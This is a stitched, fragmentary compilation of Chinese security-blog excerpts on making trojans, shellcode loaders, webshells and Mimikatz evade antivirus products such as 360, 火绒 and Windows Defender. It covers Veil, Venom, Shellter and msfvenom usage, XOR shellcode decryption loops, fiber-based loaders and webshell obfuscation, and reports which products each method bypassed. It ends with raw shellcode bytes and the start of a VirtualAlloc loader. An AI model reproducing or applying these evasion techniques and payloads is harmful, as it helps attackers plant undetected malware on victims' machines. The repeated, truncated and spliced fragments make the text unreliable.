本专题文章导航 1、远控免杀专题(1)-基础篇:https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg 2、远控免杀专题(2)-msfvenom隐藏的参数:https ://mp.weixin.qq.com/s/1r0iakLpnLrjCrOp2gT10w 3、远控免杀专题(3)-msf自带免杀(VT免杀率35/69):https://mp.weixin.qq.com 5、远控免杀专题(5)-Veil免杀(VT免杀率23/71):本文 文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus ---- 免杀能力一览表 ---- 前言 Veil、Venom和Shellter是三大老牌免杀工具,虽然说人怕出名猪怕壮,但目前这几款免杀工具在扩展性和免杀能力方面依然有着不错的表现。 虽然查杀率还比较高,不过火绒和360都能静态+动态免杀。
Veil-Evasion 是一个用 python 写的免杀框架,可以将任意脚本或一段 shellcode 转换成Windows 可执行文件,还能利用Metasploit框架生成相兼容的 Payload ,使用下面命令 dk ps -a //查看启动的镜像 dk exec -it 4ae72dc914c9 /bin/bash 执行 veil命令可启动,版本为 3.1.1 veil使用 veil 有两个免杀的工具 Ordnance 可生成在 Veil-Evasion 中使用的 shellcode,Evasion 是用做文件免杀 我们一般选择Evasion Veil>: use 1 #选择Evasion功能 Veil
—-网易云热评 一、简介 快速生成免杀exe可执行文件,目前拥有三种免杀的方法 二、下载及安装 1、下载到本地 git clone https://github.com/lengjibo/FourEye.git r requirements.txt 三、使用方法 1、打开该软件 python3 BypassFramework.py 2、显示可生成的软件,list 3、选择shellcode,显示可选择的免杀方式 4、选择fibers免杀方式,加密方式选择xor,输入shellcode,选择平台的位数,execute运行 注意:如果报错请安装mingw环境 apt-get install gcc-mingw-w64
免杀是同所有的检测手段的对抗,目前免杀的思路比较多。本篇介绍了一个独特的思路,通过内存解密恶意代码执行,解决了内存中恶意代码特征的检测。 原文链接:https://forum.butian.net/share/2669 0x00 前言 免杀是同所有的检测手段的对抗,目前免杀的思路比较多。 0x02 流程 通过双重 xor 对shellcode进行加密 申请内存执行指定命令 通过计算地址执行解密函数指令后执行shellcode 效果: 0x03 免杀制作思路 1、静态免杀 杀软是通过标记特征进行木马查杀的 void decrypt() { for(int i = 5;i<sizeof(shellcode);i++) { ((char*)p)[i] = ((char*)p)[ i]^184^6; } } 2、动态免杀 内存解密恶意代码 恶意代码检测的方式非常之多,如EDR常用的特征检测、HOOK常用API、检测父子进程关系等方式。
别人的静态免杀 在Github上看到一个c++的免杀,在4月6号的时候,还是bypass 很多的,但是一个月过去了,我执行之后发现了只能过火绒: 项目地址:https://github.com/G73st 复现其他师傅的免杀 2.1 c++部分 其实他这部分代码的逻辑就是一个利用自己的密钥进行解密,解密之后再申请内存,执行shellcode,在这里先将别人的代码下载下来,在本地跑一下: 先把项目下载,然后把 免杀Windows Defender 对于作者一个月以前的更新,可以过Windows Defender,但是现在只能免杀火绒,在这里对此做一个小小的改动,就可以达到以前的那种效果,但是依旧无法过360( 因为免杀一直会被标记,此处的tips暂不提供,希望师傅能够理解) 此时最新版的Windows Defender 上线成功: 但是!!! 当然,在这个免杀中,均属于静态免杀,有些属于乱杀,就像碰到易语言一样,大家都杀!
0x03 为什么使用python python语言入门门槛低,上手快,且两三年前就出现了这种免杀方式,但是很多人说网上公开的代码已经不免杀了。事实真的如此吗? 不做硬编码(人话:shellcode字符串不写死在代码里面) 2、:shellcode字符串 多种编码方式混淆 3、:shellcode字符串 加密 4、:添加无危害的代码执行流程扰乱av分析(早些年的花指令免杀思维 答案是否定的:CobaltStrike的管道通信模式加上将花指令免杀思维运用在高级语言层面上一样有效,人话就是在shellcode loader的代码层面加一些正常的代码,让exe本身拥有正常的动作,扰乱 总结:本文所阐述的粗略且浅显的免杀方法都是站在CobaltStrike强大的肩膀上实现的。 0x09 总结 此种方式的缺点:单文件体积过大,go语言比较小,veil里面有使用go进行免杀的,单文件体积在800kb左右,如果你学过go的语法,建议你利用go语言来免杀,具体操作,你可以在使用veil
免杀实战—小马免杀 引用免杀 因为D盾、安全狗、护卫神会对关键字eval中的执行变量进行溯源,当追溯到要执行的变量为一个通过POST接收的可疑数据时就会显示可疑木马,为了躲避这种溯源方式,可以通过多次使用 幸好今天"反引号"大哥来串门,不妨让他来帮个忙: 发现成功免杀,之后我们再使用安全狗查杀一下看看————成功免杀 护卫神————成功免杀 至此,成功免杀安全狗、护卫神、D盾,之后我们试试可用性: 之后使用安全狗查杀————成功免杀 之后使用护卫神查杀————成功免杀 至此,成功免杀D盾、安全狗、护卫神,之后我们使用菜刀连接试试看是否可以正常使用: 免杀实战—大马免杀 加密&混淆 在免杀处理的众多方法中 之后我们使用D盾先来一波查杀看看: 从上面的查杀结果可以看到这里威胁级别为"5",而且报"加密后门"的警告,这里应该是D盾检测到了关键字"base64_decode",所以我们这里需要做一个简单的混淆处理 之后使用安全狗查杀————成功免杀 之后使用护卫神查杀————成功免杀 至此,成功免杀D盾、安全狗、护卫神,之后我们试试可用性: 文末小结 这篇免杀文章最初写作与2019年10月份左右,文中涉及到的免杀技巧大多数是较为成熟的技巧
文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus ---- 免杀能力一览表 ? 4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。 5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。 virustotal.com中39/71个报毒,以为能过360和火绒,免杀应该不错的... ? 参考 Msf&zirikatu免杀结合利用:http://www.secist.com/archives/3113.html
文章首发于:奇安信补天攻防社区 https://forum.butian.net/share/1690 0x00 前言 python shellcode免杀的常用手法,实现过常见AV的效果。 本文分为几个部分: 1、shellcode加载器实现; 2、代码混淆; 3、寻找免杀api 4、分离免杀,分离加载器与shellcode; 5、python打包成exe 6、组合,免杀效果分析 0x01 但是现在并没有任何免杀效果。 ,这只是免杀技术的冰山一角角。 我们可以看出,虽然最后的查杀率还可以,但是生成的文件太大了,也有一些杀软把用py2exe、pyinstaller生成的任何exe包都当作了恶意文件,因此在实际中,还是更推荐用C#、go这种语言来写免杀。
本专题文章导航 1、远控免杀专题(1)-基础篇:https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg 2、远控免杀专题(2)-msfvenom隐藏的参数:https ://mp.weixin.qq.com/s/1r0iakLpnLrjCrOp2gT10w 3、远控免杀专题(3)-msf自带免杀(VT免杀率35/69):https://mp.weixin.qq.com 5、远控免杀专题(5)-Veil免杀(VT免杀率23/71): https://mp.weixin.qq.com/s/-PHVIAQVyU8QIpHwcpN4yw 6、远控免杀专题(6)-Venom免杀 (VT免杀率11/71):本文 文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus ---- 免杀能力一览表 ? ---- 前言 Venom和Veil、Shellter是三大老牌免杀工具,免杀主要依靠分离执行和加密混淆等技术,可以和msf无缝对接。
spm_id_from=333.999.0.0&vd_source=4652172a15b97e23a4fc522adb2ef705 使用纤程免杀 纤程Fiber的概念:纤程是比线程的更小的一个运行单位 拖入010editor中 3、tools – binaryxor 选择异或次数 4、生成之后,全选 edit – copy as c code,填入到上面的实现代码中,异或次数按照刚刚设置的进行修改 5、 gcc xc2.c -mwindows编译生成exe 免杀效果:火绒✔ def✔ eset✔ 360✔(需要迅速注入其他进程)卡巴斯基❌ 反模拟运行检测 本质上就是将恶意程序放入沙箱中 看看它会做什么并监视它的行为 但是这是杀软自己模拟出的一个环境。 fibersapi.h DWORD result = FlsAlloc(NULL); if (result == FLS_OUT_OF_INDEXES) { return 0; } 使用求反免杀
以下文章来源于亿人安全 ,作者St3pBy 文章首发于:奇安信补天攻防社区 https://forum.butian.net/share/1690 0x00 前言 python shellcode免杀的常用手法 本文分为几个部分: 1、shellcode加载器实现; 2、代码混淆; 3、寻找免杀api 4、分离免杀,分离加载器与shellcode; 5、python打包成exe 6、组合,免杀效果分析 0x01 但是现在并没有任何免杀效果。 ,这只是免杀技术的冰山一角角。 我们可以看出,虽然最后的查杀率还可以,但是生成的文件太大了,也有一些杀软把用py2exe、pyinstaller生成的任何exe包都当作了恶意文件,因此在实际中,还是更推荐用C#、go这种语言来写免杀。
本专题文章导航 1、远控免杀专题(1)-基础篇:https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg 2、远控免杀专题(2)-msfvenom隐藏的参数:https ://mp.weixin.qq.com/s/1r0iakLpnLrjCrOp2gT10w 3、远控免杀专题(3)-msf自带免杀(VT免杀率35/69):https://mp.weixin.qq.com 5、远控免杀专题(5)-Veil免杀(VT免杀率23/71):https://mp.weixin.qq.com/s/-PHVIAQVyU8QIpHwcpN4yw 6、远控免杀专题(6)-Venom免杀 (VT免杀率11/71):https://mp.weixin.qq.com/s/CbfxupSWEPB86tBZsmxNCQ 7、远控免杀专题(7)-Shellter免杀(VT免杀率7/69):本文 文章打包下载及相关软件下载 ---- 前言 Shellter和Venom、Veil是三大老牌免杀工具,Shellter是一个开源的免杀工具,利用动态Shellcode注入或者命令来实现免杀的效果。
一 前言 尝试对Mimikatz进行免杀,提取Mimikatz的shellcode,然后使用免杀的加载器进行加载,用加载器在加载cs shellcode时免杀效果挺好,但在加载Mimikatz的shellcode 发现直接被360、defender等静态查杀了,VT上报毒也很高,于是尝试找出问题并进行免杀。 图像法减少熵值 在网上没有找到将shellcode封装进图片的代码,自己写又太麻烦,而且不知道免杀效果如何,如果花费大力气写出来发现免杀效果不好不是白忙活了吗? 后面更换的动态回调加载器: 为了增加免杀能力对字符串进行了加密,并用动态生成key。 四 最后 前面讲的熵减法Mimikatz免杀的内容是十几天之前做的,基于intel c++编译器到达的VT全免杀效果,加了一点动态免杀,以过defender动态查杀,第二项的效果图是最近的,此时的intel
前言 最近在研究shellcode的免杀技术,因本人以前主要是搞逆向的,shellcode免杀方面还是个小白,所以就想着去看一看我老师任晓珲写的《黑客免杀攻防》想从中寻找一些思路,但是也没有找到比较好实际运用的例子来进行实践 所以说我们可以借鉴别人分享思路,发散思维打造自己的免杀方法。 shellcode免杀基本上就失灵了,工具就变得很容易过时,所以我们需要来自己制作免杀。 工具下载网盘:链接:https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ 提取码:c29j 五、利用远程线程注入shellcode混淆免杀 远程线程注入是指一个进程在另一个进程中创建线程的技术 我这里把shellcode和0x97异或加密过后解密执行 免杀的手段千变万化,没有哪一种免杀是最好的,我们要学会搭配运用,根据对方的防护情况来布置自己的免杀方式,再次感谢卿先生博客和拿破轮胎提供的免杀思路
本专题文章导航 1、远控免杀专题文章(1)-基础篇:https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg 2、远控免杀专题文章(2)-msfvenom隐藏的参数 :https://mp.weixin.qq.com/s/1r0iakLpnLrjCrOp2gT10w 3、远控免杀专题文章(3)-msf自带免杀(VT免杀率35/69):https://mp.weixin.qq.com /s/A0CZslLhCLOK_HgkHGcpEA 4、远控免杀专题文章(4)-Evasion模块(VT免杀率12/71):本文 文章打包下载及相关软件下载:https://github.com/TideSec /BypassAntiVirus ---- 免杀能力一览表 ? 而且在2019年1月msf5更新的不止evasion模块,还有个更强大的模板编译函数Metasploit::Framework::Compiler,提供了更强大的自定义免杀机制。
本专题文章导航 1、远控免杀专题文章(1)-基础篇:https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg 2、远控免杀专题文章(2)-msfvenom隐藏的参数 ---- 1.前言 本节主要是对msf自身提供的免杀机制(编码+捆绑)进行尝试,由于msf被各大安全厂商盯的比较紧,所以这些常规的方法免杀效果肯定是比较差的,但有时把一两种常规方法稍微结合一下就能达到比较好的免杀效果 在关闭火绒后,开启360安全卫士和杀毒的情况下,可上线,可免杀。 ? ? 可修改-i编码次数,编码次数越多,生成的payload越可能免杀,经测试,编码5次和6次可免杀360。 后面会介绍更多的免杀方法,自己可以尝试多种免杀进行组合,垒积木一样的感觉... 6.msfvenom多重编码(VT查杀率45/70) msfvenom的encoder编码器可以对payload进行一定程度免杀 B5%8B%E8%AF%95/
免杀能力一览表 ? 几点说明: 1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。 4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。 5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。 三、利用Python-Rootkit生成后门 在生成后门前,还需要找个.ico图标文件,放在viRu5文件夹中,这样viRu5文件夹里需要有下面几个文件 ? 免杀效果整体感觉一般,还是python生成exe,执行后调用powershell下载Invoke-Shellcode.ps1,然后反弹shell,应该很容易触发杀软的行为检测。
(这些方面也是基本涵盖了常见的免杀需求) 从需求方面 木马免杀 权限维持免杀 工具免杀 其他免杀 从免杀阶段方面 静态免杀 动态免杀「 执行免杀 内存免杀 行为免杀 」 3.流量免杀 从payload加载方面 无论是工具的免杀还是做木马的免杀,不过大部分也就是: 本体的免杀,一个可执行程序,直接进行运行。payload就直接在程序里写死了。 分离免杀,制作加载器等。通过加载器和载荷分开的方式。 不过对于远线程注入的方式也可以做成分离免杀的形式。 webshell免杀:对于上传的webshell进行免杀,主要还是各种变形,加密,混淆。老生常谈,但也是很多在用。 而且近半年也能看见很多github和公众号出现了这种免杀方法,研究免杀的师傅也是越来越多了。 其他的对于工具的免杀,核心点也是混淆,编码等。 关于免杀大概就说到这里吧,看了很多的免杀思路,主要还是分离免杀吧,去做加载器,再加上点编码混淆,就拿来用了。
\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e \x6a\x0a\x5f\x53\x53\x53\x53\x56\x68\x2d\x06" "\x18\x7b\xff\xd5\x85\xc0\x75\x14\x68\x88\x13\x00\x00 \x68\x00\x00\x40\x00\x53\x68\x58\xa4\x53" "\xe5\xff\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00 \x53" "\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcf\x8b\x07\x01" "\xc3\x85\xc0\x75\xe5\x58 " "\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; char fisrt[] = "\xfc"; void *exec = VirtualAlloc(0